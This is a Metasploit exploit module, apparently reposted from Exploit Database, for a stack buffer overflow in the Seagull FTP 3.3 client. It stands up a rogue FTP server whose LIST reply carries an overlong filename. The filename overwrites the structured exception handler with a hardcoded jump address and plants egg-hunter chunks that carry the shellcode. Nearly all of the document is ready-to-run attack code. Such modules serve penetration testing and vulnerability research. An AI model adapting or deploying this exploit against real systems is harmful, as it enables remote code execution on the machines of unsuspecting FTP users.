Seagull FTP 3.3 build 409 – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 35 阅读

• 作者： Metasploit
  日期： 2010-11-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16705/

• ##
  # $Id: seagull_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::FtpServer
  	include Msf::Exploit::Omelet
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Seagull FTP v3.3 build 409 Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the Seagull FTP client that gets
  				triggered when the ftp clients processes a response to a LIST command. If the
  				response contains an overly long file/folder name, a buffer overflow occurs,
  				overwriting a structured exception handler.
  			},
  			'Author' 	 =>
  				[
  					'corelanc0d3r' # found bug, wrote the exploit
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 11039 $",
  			'References' =>
  				[
  					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'BadChars' => '\x00',
  					'StackAdjustment' => -1500,
  					'DisableNops' => 'True',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'XP Universal', { 'Offset' => 232, 'Ret' => 0x7CE4650C } ], # jmp esp shell32.dll
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 12 2010',
  			'DefaultTarget'=> 0))
  	end
  
  	#---------------------------------------------------------------------------------
  
  	def setup
  		super
  	end
  
  	def on_client_unknown_command(c,cmd,arg)
  		c.put("200 OK\r\n")
  	end
  
  	def on_client_command_list(c,arg)
  		print_status("Handling LIST command")
  		conn = establish_data_connection(c)
  		if(not conn)
  			c.put("425 Can't build data connection\r\n")
  			return
  		end
  		print_status(" - Data connection set up")
  		code = 150
  		c.put("#{code} Here comes the directory listing.\r\n")
  		code = 226
  		c.put("#{code} Directory send ok.\r\n")
  
  		crash = "A" * target['Offset']
  		crash << [target.ret].pack('V')
  
  		#corelanc0d3r's omelet mixin
  		thepayload = ("\x90" * 30) + payload.encoded
  
  		omeletoptions =
  		{
  			:eggsize => 123,
  			:eggtag => "00w",
  			:searchforward => true,
  			:reset => false,
  			:checksum => true
  		}
  		badchars = '\x00'
  		omelet =generate_omelet(thepayload,badchars,omeletoptions)
  
  		omeletcode = omelet[0]
  		print_status("[+] Omelet code : #{omeletcode.length} bytes")
  		print_status("[+] Number of eggs : #{omelet[1].length}")
  		print_status("[+] Sending payload")
  		crash << ("\x90" * 30) + omeletcode
  
  		print_status(" - Sending directory list via data connection")
  		dirlist = ""
  
  		omelet[1].each do |thischunk|
  			print_status(" [+] Planted egg of #{thischunk.length} bytes")
  			dirlist << "drwxrwxrwx1 1000 11111 Jun 11 21:10 #{thischunk}\r\n"
  		end
  		dirlist << "drwxrwxrwx1 1000 11111 Jun 11 21:10 #{crash}\r\n"
  		conn.put("total #{omelet[1].length+1}\r\n"+dirlist)
  		conn.close
  		print_status(" - Wait for omelet hunter...")
  		return
  	end
  
  end